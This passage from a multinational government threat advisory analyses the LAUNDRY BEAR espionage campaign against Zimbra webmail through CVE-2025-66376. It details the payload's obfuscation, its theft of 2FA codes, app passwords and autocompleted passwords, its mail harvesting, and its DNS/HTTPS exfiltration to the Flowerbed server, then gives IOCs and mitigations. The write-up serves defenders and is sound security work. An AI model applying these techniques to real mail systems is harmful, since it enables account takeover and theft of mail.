The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
